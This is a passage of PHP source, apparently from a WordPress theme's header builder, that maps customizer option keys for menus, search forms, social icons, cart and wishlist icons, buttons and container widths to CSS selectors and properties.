		'penci_header_pb_second_menu_penci_mega_bg_color'            => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega), .pc-builder-element.pc-builder-menu.pc-second-menu .navigation.menu-style-1 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation.menu-style-1 .penci-megamenu .penci-mega-child-categories a.cat-active:before',
		),
		'penci_header_pb_second_menu_penci_mega_child_cat_bg_color'  => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation.menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active',
		),
		'penci_header_pb_second_menu_penci_mega_post_date_color'     => array(
			'color' => '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-date, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-megamenu .pcmis-2 .penci-mega-date',
		),
		'penci_header_pb_second_menu_penci_mega_post_title_color'    => array(
			'color' => '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu ul.sub-menu li .pcmis-2 .penci-mega-post a, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu .penci-megamenu:not(.penci-block-mega) .penci-mega-latest-posts .penci-mega-post .post-mega-title a',
		),
		'penci_header_pb_second_menu_penci_mega_post_category_color' => array(
			'color' => '.pc-builder-element.pc-builder-menu.pc-second-menu .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
		),
		'penci_header_pb_second_menu_penci_mega_accent_color'        => array(
			'color'            => '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a:hover, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu .penci-megamenu:not(.penci-block-mega) .penci-mega-latest-posts .penci-mega-post .post-mega-title a:hover',
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
		),
		'penci_header_pb_second_menu_penci_mega_border_style2'       => array(
			'border-color' => '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation.menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a::after',
		),
		'penci_header_pb_second_menu_penci_submenu_bordercolor'      => array(
			'border-color'        => '.pc-builder-element.pc-second-menu .penci-dropdown-menu,.pc-builder-element.pc-second-menu .navigation .menu .sub-menu, .pc-builder-element.pc-second-menu .navigation ul.menu > li.megamenu > ul.sub-menu,.pc-builder-element.pc-second-menu .navigation ul.menu ul.sub-menu li > a, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation.menu-style-1 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active',
			'background-color'    => '.pc-builder-element.pc-second-menu .menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post:before,.pc-builder-element.pc-second-menu .navigation ul.menu > li.megamenu > ul.sub-menu > li:before, .pc-builder-element.pc-second-menu .navigation.menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.all-style:before, .pc-builder-element.pc-second-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories:after, .pc-builder-element.pc-second-menu .navigation .penci-megamenu .penci-mega-child-categories:after',
			'border-top-color'    => '.pc-builder-element.pc-second-menu .navigation.menu-style-2 .menu .sub-menu',
			'border-bottom-color' => '.pc-builder-element.pc-second-menu .navigation.menu-style-3 .menu .sub-menu:before',
			'border-right-color'  => '.pc-builder-element.pc-second-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:before',
		),
		'penci_header_pb_second_menu_penci_submenu_bgcolor'          => array(
			'background-color'    => '.pc-builder-element.pc-second-menu .navigation ul.menu > li.megamenu > ul.sub-menu, .pc-builder-element.pc-second-menu .navigation .menu .sub-menu, .pc-builder-element.pc-second-menu .navigation .menu .children',
			'border-bottom-color' => '.pc-builder-element.pc-second-menu .navigation.menu-style-3 .menu .sub-menu:after',
			'border-right-color'  => '.pc-builder-element.pc-second-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:after',
		),
		'penci_header_pb_second_menu_drop_border_style2'             => array(
			'background-color' => '.pc-builder-element.pc-second-menu .navigation.menu-style-2 ul.menu ul.sub-menu:before',
		),

		// third menu
		'penci_header_pb_third_menu_penci_menu_color'                => '.pc-builder-element.pc-third-menu .navigation .menu > li > a,.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu a',
		'penci_header_pb_third_menu_penci_menu_hv_color'             => '.pc-builder-element.pc-third-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-third-menu .navigation .menu > li:hover > a,.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu a:hover',
		'penci_header_pb_third_menu_penci_menu_active_color'         => '.pc-builder-element.pc-third-menu .navigation .menu li.current-menu-item > a,.pc-builder-element.pc-third-menu .navigation .menu > li.current_page_item > a,.pc-builder-element.pc-third-menu .navigation .menu > li.current-menu-ancestor > a,.pc-builder-element.pc-third-menu .navigation .menu > li.current-menu-item > a',
		'penci_header_pb_third_menu_penci_submenu_color'             => '.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu li a',
		'penci_header_pb_third_menu_penci_submenu_hv_color'          => '.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu li a:hover',
		'penci_header_pb_third_menu_penci_submenu_activecl'          => '.pc-builder-element.pc-third-menu .navigation .menu .sub-menu li.current-menu-item > a,.pc-builder-element.pc-third-menu .navigation .menu .sub-menu > li.current_page_item > a,.pc-builder-element.pc-third-menu .navigation .menu .sub-menu > li.current-menu-ancestor > a,.pc-builder-element.pc-third-menu .navigation .menu .sub-menu > li.current-menu-item > a',
		'penci_header_pb_third_menu_penci_menu_bg_color'             => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu > li > a',
		),
		'penci_header_pb_third_menu_penci_menu_line_hv_color'        => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation ul.menu > li > a:before, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu > ul > li > a:before',
		),
		'penci_header_pb_third_menu_penci_menu_bg_hv_color'          => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li > a:hover, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li:hover > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current-menu-item > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current_page_item > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current-menu-item > a',
		),
		'penci_header_pb_third_menu_penci_mega_bg_color'             => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega), .pc-builder-element.pc-builder-menu.pc-third-menu .navigation.menu-style-1 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation.menu-style-1 .penci-megamenu .penci-mega-child-categories a.cat-active:before',
		),
		'penci_header_pb_third_menu_penci_mega_child_cat_bg_color'   => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation.menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active',
		),
		'penci_header_pb_third_menu_penci_mega_post_date_color'      => array(
			'color' => '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-date, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-megamenu .pcmis-2 .penci-mega-date',
		),
		'penci_header_pb_third_menu_penci_mega_post_category_color'  => array(
			'color' => '.pc-builder-element.pc-builder-menu.pc-third-menu .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
		),
		'penci_header_pb_third_menu_penci_mega_post_title_color'     => array(
			'color' => '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu ul.sub-menu li .pcmis-2 .penci-mega-post a, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu .penci-megamenu:not(.penci-block-mega) .penci-mega-latest-posts .penci-mega-post .post-mega-title a',
		),
		'penci_header_pb_third_menu_penci_mega_accent_color'         => array(
			'color'            => '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a:hover, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu .penci-megamenu:not(.penci-block-mega) .penci-mega-latest-posts .penci-mega-post .post-mega-title a:hover',
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
		),
		'penci_header_pb_third_menu_penci_mega_border_style2'        => array(
			'border-color' => '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation.menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a::after',
		),
		'penci_header_pb_third_menu_penci_submenu_bordercolor'       => array(
			'border-color'        => '.pc-builder-element.pc-third-menu .penci-dropdown-menu,.pc-builder-element.pc-third-menu .navigation .menu .sub-menu, .pc-builder-element.pc-third-menu .navigation ul.menu > li.megamenu > ul.sub-menu,.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu li > a, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation.menu-style-1 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active',
			'background-color'    => '.pc-builder-element.pc-third-menu .navigation ul.menu > li.megamenu > ul.sub-menu > li:before, .pc-builder-element.pc-third-menu .navigation.menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.all-style:before,.pc-builder-element.pc-third-menu .menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post:before, .pc-builder-element.pc-third-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories:after, .pc-builder-element.pc-third-menu .navigation .penci-megamenu .penci-mega-child-categories:after',
			'border-top-color'    => '.pc-builder-element.pc-third-menu .navigation.menu-style-2 .menu .sub-menu',
			'border-bottom-color' => '.pc-builder-element.pc-third-menu .navigation.menu-style-3 .menu .sub-menu:before',
			'border-right-color'  => '.pc-builder-element.pc-third-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:before',
		),
		'penci_header_pb_third_menu_penci_submenu_bgcolor'           => array(
			'background-color'    => '.pc-builder-element.pc-third-menu .navigation ul.menu > li.megamenu > ul.sub-menu, .pc-builder-element.pc-third-menu .navigation .menu .sub-menu, .pc-builder-element.pc-third-menu .navigation .menu .children',
			'border-bottom-color' => '.pc-builder-element.pc-third-menu .navigation.menu-style-3 .menu .sub-menu:after',
			'border-right-color'  => '.pc-builder-element.pc-third-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:after',
		),
		'penci_header_pb_third_menu_drop_border_style2'              => array(
			'background-color' => '.pc-builder-element.pc-third-menu .navigation.menu-style-2 ul.menu ul.sub-menu:before',
		),

		// search
		'penci_header_pb_search_form_bg_color'                       => array(
			'background-color' => '.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input',
		),
		'penci_header_pb_search_form_border_color'                   => array(
			'border-color' => '.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input',
		),
		'penci_header_pb_search_form_btntxt_color'                   => array(
			'color' => '.pc-search-form-desktop form.pc-searchform i, .penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-desktop .searchsubmit,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-desktop .searchsubmit',
		),
		'penci_header_pb_search_form_btnhtxt_color'                  => array(
			'color' => '.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-desktop .searchsubmit:hover,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-desktop .searchsubmit:hover',
		),
		'penci_header_pb_search_form_btn_color'                      => array(
			'background-color' => '.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-desktop .searchsubmit,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-desktop .searchsubmit',
		),
		'penci_header_pb_search_form_btn_hv_color'                   => array(
			'background-color' => '.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-desktop .searchsubmit:hover,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-desktop .searchsubmit:hover',
		),

		// search mobile
		'penci_header_pb_search_form_sidebar_bg_color'               => array(
			'background-color' => '.penci-builder-element.pc-search-form.pc-search-form-sidebar form.pc-searchform input.search-input',
		),
		'penci_header_pb_search_form_sidebar_border_color'           => array(
			'border-color' => '.penci-builder-element.pc-search-form.pc-search-form-sidebar form.pc-searchform input.search-input',
		),
		'penci_header_pb_search_form_sidebar_btntxt_color'           => array(
			'color' => '.pc-search-form-sidebar form.pc-searchform i, .penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-sidebar .searchsubmit,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-sidebar .searchsubmit',
		),
		'penci_header_pb_search_form_sidebar_btnhtxt_color'          => array(
			'color' => '.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-sidebar .searchsubmit:hover,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-sidebar .searchsubmit:hover',
		),
		'penci_header_pb_search_form_sidebar_btn_color'              => array(
			'background-color' => '.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-sidebar .searchsubmit,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-sidebar .searchsubmit',
		),
		'penci_header_pb_search_form_sidebar_btn_hv_color'           => array(
			'background-color' => '.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-sidebar .searchsubmit:hover,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-sidebar .searchsubmit:hover',
		),

		// social icon dekstop
		'penci_header_pb_social_icon_section_icon_size'              => array(
			'font-size' => '.penci-builder-element.header-social.desktop-social a i',
		),
		'penci_header_pb_social_icon_section_item_spacing'           => array(
			'margin-right' => 'body:not(.rtl) .penci-builder-element.desktop-social .inner-header-social a',
			'margin-left'  => 'body.rtl .penci-builder-element.desktop-social .inner-header-social a',
		),

		'penci_header_pb_social_icon_section_bg_color'        => array(
			'background-color' => '.penci-builder-element.desktop-social .inner-header-social a i',
		),
		'penci_header_pb_social_icon_section_bg_hv_color'     => array(
			'background-color' => '.penci-builder-element.desktop-social .inner-header-social a:hover i',
		),
		'penci_header_pb_social_icon_section_border_color'    => array(
			'border-color' => '.penci-builder-element.desktop-social .inner-header-social a i',
		),
		'penci_header_pb_social_icon_section_border_hv_color' => array(
			'border-color' => '.penci-builder-element.desktop-social .inner-header-social a:hover i',
		),

		'penci_header_pb_social_icon_section_color'                  => array(
			'color' => '.penci-builder-element.desktop-social .inner-header-social a,.penci-builder-element.desktop-social .inner-header-social a i',
		),
		'penci_header_pb_social_icon_section_hv_color'               => array(
			'color' => '.penci-builder-element.desktop-social .inner-header-social a:hover,.penci-builder-element.desktop-social .inner-header-social a:hover i',
		),

		// social icon mobile
		'penci_header_pb_social_icon_mobile_section_icon_size'       => array(
			'font-size' => '.penci-builder-element.mobile-social a i',
		),
		'penci_header_pb_social_icon_mobile_section_icon_w'          => array(
			'width' => '.penci-builder-element.mobile-social i',
		),
		'penci_header_pb_social_icon_mobile_section_icon_h'          => array(
			'height' => '.penci-builder-element.mobile-social i',
		),
		'penci_header_pb_social_icon_mobile_section_item_spacing'    => array(
			'margin-right' => 'body:not(.rtl) .penci-builder-element.mobile-social .inner-header-social a',
			'margin-left'  => 'body.rtl .penci-builder-element.mobile-social .inner-header-social a',
		),
		'penci_header_pb_hamburger_menu_color'                       => array(
			'background-color' => '.pc-builder-element a.penci-menuhbg-toggle .lines-button:after, .pc-builder-element a.penci-menuhbg-toggle.builder .penci-lines:before,.pc-builder-element a.penci-menuhbg-toggle.builder .penci-lines:after',
		),
		'penci_header_pb_hamburger_menu_hv_color'                    => array(
			'background-color' => '.pc-builder-element a.penci-menuhbg-toggle:hover .lines-button:after, .pc-builder-element a.penci-menuhbg-toggle.builder:hover .penci-lines:before,.pc-builder-element a.penci-menuhbg-toggle.builder:hover .penci-lines:after',
		),
		'penci_header_pb_hamburger_menu_bcolor'                      => array(
			'border-color' => '.pc-builder-element a.penci-menuhbg-toggle',
		),
		'penci_header_pb_hamburger_menu_bhcolor'                     => array(
			'border-color' => '.pc-builder-element a.penci-menuhbg-toggle:hover',
		),
		'penci_header_pb_hamburger_menu_bgcolor'                     => array(
			'background-color' => '.pc-builder-element a.penci-menuhbg-toggle',
		),
		'penci_header_pb_hamburger_menu_bghcolor'                    => array(
			'background-color' => '.pc-builder-element a.penci-menuhbg-toggle:hover',
		),
		'penci_header_pb_hamburger_menu_btnbstyle'                   => array(
			'border-style' => '.pc-builder-element a.penci-menuhbg-toggle',
		),
		'penci_header_pb_social_icon_mobile_section_bg_color'        => array(
			'background-color' => '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a i',
		),
		'penci_header_pb_social_icon_mobile_section_bg_hv_color'     => array(
			'background-color' => '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a:hover i',
		),
		'penci_header_pb_social_icon_mobile_section_border_color'    => array(
			'border-color' => '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a i',
		),
		'penci_header_pb_social_icon_mobile_section_border_hv_color' => array(
			'border-color' => '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a:hover i',
		),
		'penci_header_pb_social_icon_mobile_section_color'           => array(
			'color' => '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a,.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a i',
		),
		'penci_header_pb_social_icon_mobile_section_hv_color'        => array(
			'color' => '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a:hover,.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a:hover i',
		),

		// search form
		'penci_header_pb_search_form_height'                         => array(
			'line-height' => '.pc-search-form-desktop.search-style-icon-button .searchsubmit:before,.pc-search-form-desktop.search-style-text-button .searchsubmit ',
		),
		'penci_header_pb_search_form_sidebar_height'                 => array(
			'line-height' => '.pc-search-form-sidebar.search-style-icon-button .searchsubmit:before,.pc-search-form-sidebar.search-style-text-button .searchsubmit ',
		),

		'penci_header_pb_search_form_input_pdl' => array(
			'padding-left' => '.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input',
		),
		'penci_header_pb_search_form_input_pdr' => array(
			'padding-right' => '.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input',
		),
		'penci_header_pb_search_form_btn_pdl'   => array(
			'padding-left' => '.penci-builder-element.pc-search-form-desktop .searchsubmit',
		),
		'penci_header_pb_search_form_btn_pdr'   => array(
			'padding-right' => '.penci-builder-element.pc-search-form-desktop .searchsubmit',
		),

		'penci_header_pb_search_form_sidebar_input_pdl'   => array(
			'padding-left' => '.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input',
		),
		'penci_header_pb_search_form_sidebar_input_pdr'   => array(
			'padding-right' => '.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input',
		),
		'penci_header_pb_search_form_sidebar_btn_pdl'     => array(
			'padding-left' => '.penci-builder-element.pc-search-form-sidebar .searchsubmit',
		),
		'penci_header_pb_search_form_sidebar_btn_pdr'     => array(
			'padding-right' => '.penci-builder-element.pc-search-form-sidebar .searchsubmit',
		),

		// font size
		'penci_header_pb_cart_icon_section_size'          => array(
			'font-size' => '.pb-header-builder.cart-icon .top-search-classes a.cart-contents > i, .pb-header-builder.cart-icon .top-search-classes.shoping-cart-icon > a > i',
		),
		'penci_header_pb_wishlist_icon_section_size'      => array(
			'font-size' => '.penci-builder-elements.pcheader-icon.wishlist-icon > a',
		),
		'penci_header_pb_wishlist_icon_section_btnbstyle' => array(
			'border-style' => '.penci-builder-elements.pcheader-icon.wishlist-icon > a',
		),
		'penci_header_pb_compare_icon_section_size'       => array(
			'font-size' => '.penci-builder-elements.pcheader-icon.compare-icon > a',
		),
		'penci_header_pb_compare_icon_section_bd_color'   => array(
			'border-color' => '.penci-builder-elements.pcheader-icon.compare-icon > a',
		),
		'penci_header_pb_compare_icon_section_bdh_color'  => array(
			'border-color' => '.penci-builder-elements.pcheader-icon.compare-icon > a:hover',
		),
		'penci_header_pb_compare_icon_section_bg_color'   => array(
			'background-color' => '.penci-builder-elements.pcheader-icon.compare-icon > a',
		),
		'penci_header_pb_compare_icon_section_bgh_color'  => array(
			'background-color' => '.penci-builder-elements.pcheader-icon.compare-icon > a:hover',
		),

		'penci_header_pb_compare_icon_section_btnbstyle' => array(
			'border-style' => '.penci-builder-elements.pcheader-icon.compare-icon > a',
		),

		'penci_header_pb_cart_icon_section_item_count_txt' => array(
			'color' => '.pb-header-builder.cart-icon .top-search-classes a.cart-contents > span, .pb-header-builder.cart-icon .top-search-classes.shoping-cart-icon > span',
		),
		'penci_header_pb_cart_icon_section_item_count_bg'  => array(
			'background-color' => '.pb-header-builder.cart-icon .top-search-classes a.cart-contents > span, .pb-header-builder.cart-icon .top-search-classes.shoping-cart-icon > span',
		),

		'penci_header_pb_compare_icon_section_item_count_txt' => array(
			'color' => '.penci-builder-elements.pcheader-icon.compare-icon > a > span',
		),
		'penci_header_pb_compare_icon_section_item_count_bg'  => array(
			'background-color' => '.penci-builder-elements.pcheader-icon.compare-icon > a > span',
		),

		'penci_header_pb_wishlist_icon_section_item_count_txt' => array(
			'color' => '.penci-builder-elements.pcheader-icon.wishlist-icon > a > span',
		),
		'penci_header_pb_wishlist_icon_section_item_count_bg'  => array(
			'background-color' => '.penci-builder-elements.pcheader-icon.wishlist-icon > a > span',
		),

		'penci_header_pb_wishlist_icon_section_bg_color'  => array(
			'background-color' => '.penci-builder-elements.pcheader-icon.wishlist-icon > a',
		),
		'penci_header_pb_wishlist_icon_section_bgh_color' => array(
			'background-color' => '.penci-builder-elements.pcheader-icon.wishlist-icon > a:hover',
		),
		'penci_header_pb_wishlist_icon_section_bd_color'  => array(
			'border-color' => '.penci-builder-elements.pcheader-icon.wishlist-icon > a',
		),
		'penci_header_pb_wishlist_icon_section_bdh_color' => array(
			'border-color' => '.penci-builder-elements.pcheader-icon.wishlist-icon > a:hover',
		),

		// cart
		'penci_header_pb_compare_icon_section_color'      => '.penci-builder-elements.pcheader-icon.compare-icon > a',
		'penci_header_pb_compare_icon_section_hv_color'   => '.penci-builder-elements.pcheader-icon.compare-icon > a:hover',
		'penci_header_pb_wishlist_icon_section_color'     => '.penci-builder-elements.pcheader-icon.wishlist-icon > a',
		'penci_header_pb_wishlist_icon_section_hv_color'  => '.penci-builder-elements.pcheader-icon.wishlist-icon > a:hover',
		'penci_header_pb_cart_icon_section_color'         => '.pb-header-builder.cart-icon .top-search-classes a.cart-contents',
		'penci_header_pb_cart_icon_section_hv_color'      => '.pb-header-builder.cart-icon .top-search-classes a.cart-contents:hover',

		'penci_header_pb_cart_icon_section_bcolor'    => array(
			'border-color' => '.pb-header-builder.cart-icon',
		),
		'penci_header_pb_cart_icon_section_bhcolor'   => array(
			'border-color' => '.pb-header-builder.cart-icon:hover',
		),
		'penci_header_pb_cart_icon_section_bgcolor'   => array(
			'background-color' => '.pb-header-builder.cart-icon',
		),
		'penci_header_pb_cart_icon_section_bghcolor'  => array(
			'background-color' => '.pb-header-builder.cart-icon:hover',
		),
		'penci_header_pb_cart_icon_section_btnbstyle' => array(
			'border-style' => '.pb-header-builder.cart-icon',
		),

		// button font size
		'penci_header_pb_button_txt_size'             => array(
			'font-size' => '.penci-builder-button.button-1',
		),
		'penci_header_pb_button_2_txt_size'           => array(
			'font-size' => '.penci-builder-button.button-2',
		),
		'penci_header_pb_button_3_txt_size'           => array(
			'font-size' => '.penci-builder-button.button-3',
		),
		'penci_header_pb_button_mobile_txt_size'      => array(
			'font-size' => '.penci-builder-button.button-mobile-1',
		),
		'penci_header_pb_button_mobile_2_txt_size'    => array(
			'font-size' => '.penci-builder-button.button-mobile-2',
		),

		'penci_header_pb_login_register_size'     => array(
			'font-size' => '.pc-header-element.penci-topbar-social .pclogin-item a i',
		),
		'penci_header_pb_login_register_txt_size' => array(
			'font-size' => '.pc-header-element.penci-topbar-social .pclogin-item a',
		),

		'penci_header_pb_login_register_mobile_size'        => array(
			'font-size' => '.pc-header-element.penci-topbar-social-mobile .pclogin-item a i',
		),
		'penci_header_pb_login_register_mobile_txt_size'    => array(
			'font-size' => '.pc-header-element.penci-topbar-social-mobile .pclogin-item a',
		),

		// sidebar mobile menu
		'penci_header_pb_dropdown_menu_penci_menu_color'    => '.pc-builder-menu.pc-dropdown-menu .menu li a',
		'penci_header_pb_dropdown_menu_penci_menu_hv_color' => '.pc-builder-menu.pc-dropdown-menu .menu li a:hover,.pc-builder-menu.pc-dropdown-menu .menu > li.current_page_item > a',

		// button
		'penci_header_pb_bookmark_font_w'                   => array( 'font-weight' => '.penci-header-bookmark-element a' ),
		'penci_header_pb_bookmark_font_s'                   => array( 'font-style' => '.penci-header-bookmark-element a' ),
		'penci_header_pb_bookmark_font'                     => array( 'font-family' => '.penci-header-bookmark-element a' ),
		'penci_header_pb_button_font'                       => array(
			'font-family' => '.penci-builder.penci-builder-button.button-1',
		),
		'penci_header_pb_button_font_w'                     => array(
			'font-weight' => '.penci-builder.penci-builder-button.button-1',
		),
		'penci_header_pb_button_font_s'                     => array(
			'font-style' => '.penci-builder.penci-builder-button.button-1',
		),
		'penci_header_pb_button_2_font'                     => array(
			'font-family' => '.penci-builder.penci-builder-button.button-2',
		),
		'penci_header_pb_button_2_font_w'                   => array(
			'font-weight' => '.penci-builder.penci-builder-button.button-2',
		),
		'penci_header_pb_button_2_font_s'                   => array(
			'font-style' => '.penci-builder.penci-builder-button.button-2',
		),
		'penci_header_pb_button_3_font'                     => array(
			'font-family' => '.penci-builder.penci-builder-button.button-3',
		),
		'penci_header_pb_button_3_font_w'                   => array(
			'font-weight' => '.penci-builder.penci-builder-button.button-3',
		),
		'penci_header_pb_button_3_font_s'                   => array(
			'font-style' => '.penci-builder.penci-builder-button.button-3',
		),
		'penci_header_pb_button_mobile_font'                => array(
			'font-family' => '.penci-builder.penci-builder-button.button-mobile-1',
		),
		'penci_header_pb_button_mobile_font_w'              => array(
			'font-weight' => '.penci-builder.penci-builder-button.button-mobile-1',
		),
		'penci_header_pb_button_mobile_font_s'              => array(
			'font-style' => '.penci-builder.penci-builder-button.button-mobile-1',
		),
		'penci_header_pb_button_mobile_2_font'              => array(
			'font-family' => '.penci-builder.penci-builder-button.button-mobile-2',
		),
		'penci_header_pb_button_mobile_2_font_w'            => array(
			'font-weight' => '.penci-builder.penci-builder-button.button-mobile-2',
		),
		'penci_header_pb_button_mobile_2_font_s'            => array(
			'font-style' => '.penci-builder.penci-builder-button.button-mobile-2',
		),
		'penci_header_search_icon_size'                     => array(
			'font-size' => '.pc-builder-element.penci-top-search a i',
		),
		'penci_header_pb_data_time_format_size'             => array(
			'font-size' => '.penci-builder-element.penci-data-time-format',
		),

		'penci_header_topblock_content_custom_width'            => array(
			'width'     => '.penci-desktop-topblock .container.container-custom',
			'--pcctain' => '.penci-desktop-topblock .container.container-custom',
		),
		'penci_header_topbar_content_custom_width'              => array(
			'width'     => '.penci-desktop-topbar .container.container-custom',
			'--pcctain' => '.penci-desktop-topbar .container.container-custom',
		),
		'penci_header_midbar_content_custom_width'              => array(
			'width'     => '.penci-desktop-midbar .container.container-custom',
			'--pcctain' => '.penci-desktop-midbar .container.container-custom',
		),
		'penci_header_bottombar_content_custom_width'           => array(
			'width'     => '.penci-desktop-bottombar .container.container-custom',
			'--pcctain' => '.penci-desktop-bottombar .container.container-custom',
		),
		'penci_header_bottomblock_content_custom_width'         => array(
			'width'     => '.penci-desktop-bottomblock .container.container-custom',
			'--pcctain' => '.penci-desktop-bottomblock .container.container-custom',
		),
		'penci_header_wrap_custom_width'                        => array(
			'width'     => '.penci-header-builder.main-builder-header.container.container-custom',
			'--pcctain' => '.penci-header-builder.main-builder-header.container.container-custom',
		),
		'penci_header_wrap_lr_spc'                              => array(
			'margin-left'  => '.pchb-boxed-layout .penci_nav_row',
			'margin-right' => '.pchb-boxed-layout .penci_nav_row',
		),
		'penci_header_pb_social_icon_section_icon_w'            => array(
			'--pchb-socialw' => '.pc-wrapbuilder-header',
		),
		'penci_header_sticky_border_color'                      => array(
			'border-color' => '.penci_builder_sticky_header_desktop',
		),
		'penci_header_sticky_border_style'                      => array(
			'border-style' => '.penci_builder_sticky_header_desktop',
		),
		'penci_header_sticky_top_content_custom_width'          => array(
			'width' => '.penci-desktop-sticky-top .container.container-custom',
		),
		'penci_header_sticky_mid_content_custom_width'          => array(
			'width' => '.penci-desktop-sticky-mid .container.container-custom',
		),
		'penci_header_sticky_bottom_content_custom_width'       => array(
